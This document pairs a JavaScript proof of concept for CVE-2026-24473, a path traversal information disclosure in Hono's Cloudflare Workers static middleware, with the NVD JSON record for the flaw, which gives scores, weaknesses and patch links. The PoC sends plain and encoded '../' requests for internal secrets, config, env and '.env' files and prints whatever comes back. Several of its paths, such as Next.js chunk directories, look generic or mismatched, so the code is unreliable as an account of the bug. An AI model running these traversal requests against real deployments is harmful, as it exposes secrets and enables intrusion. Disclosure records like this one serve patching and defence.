CVE-2026-24473

// CVE-2026-24473 PoC - Information Disclosure in Hono Cloudflare Workers Static Middleware // This PoC demonstrates how to exploit the path traversal vulnerability // to read arbitrary internal asset keys from Workers environment // Example 1: Path traversal to access internal keys const exploitPath1 = '/static/../../internal/secrets'; fetch(exploitPath1); // Example 2: Using encoded path traversal const exploitPath2 = '/static/%2e%2e/%2e%2e/internal/config'; fetch(exploitPath2); // Example 3: Multiple traversal sequences const exploitPath3 = '/static/../../../../internal/.workers KV'; fetch(exploitPath3); // Example 4: Direct key access attempt const exploitPath4 = '/static/../../../_next/static/chunks/'; fetch(exploitPath4); // Example 5: Cloudflare Workers specific key patterns const exploitPaths = [ '/static/../../__next/static/data', '/static/../../../workers-key', '/static/../../internal/env', '/static/../../.env' ]; exploitPaths.forEach(path => { fetch(path).then(response => { if (response.status === 200) { console.log('Potential vulnerability found at:', path); response.text().then(console.log); } }); });

{"cve": {"id": "CVE-2026-24473", "sourceIdentifier": "[email protected]", "published": "2026-01-27T20:16:23.107", "lastModified": "2026-02-04T15:30:35.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.11.7, Serve static Middleware for the Cloudflare Workers adapter contains an information disclosure vulnerability that may allow attackers to read arbitrary keys from the Workers environment. Improper validation of user-controlled paths can result in unintended access to internal asset keys. Version 4.11.7 contains a patch for the issue."}, {"lang": "es", "value": "Hono es un framework de aplicación web que proporciona soporte para cualquier entorno de ejecución de JavaScript. Antes de la versión 4.11.7, el middleware Serve static para el adaptador de Cloudflare Workers contiene una vulnerabilidad de revelación de información que puede permitir a los atacantes leer claves arbitrarias del entorno de Workers. La validación incorrecta de rutas controladas por el usuario puede resultar en acceso no intencionado a claves de activos internos. La versión 4.11.7 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.11.7", "matchCriteriaId": "D0406A9F-E15B-452E-940A-ABF25EEAA871"}]}]}], "references": [{"url": "https://github.com/honojs/hono/commit/cf9a78db4d0a19b117aee399cbe9d3a6d9bfd817", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/honojs/hono/releases/tag/v4.11.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/honojs/hono/security/advisories/GHSA-w332-q679-j88p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}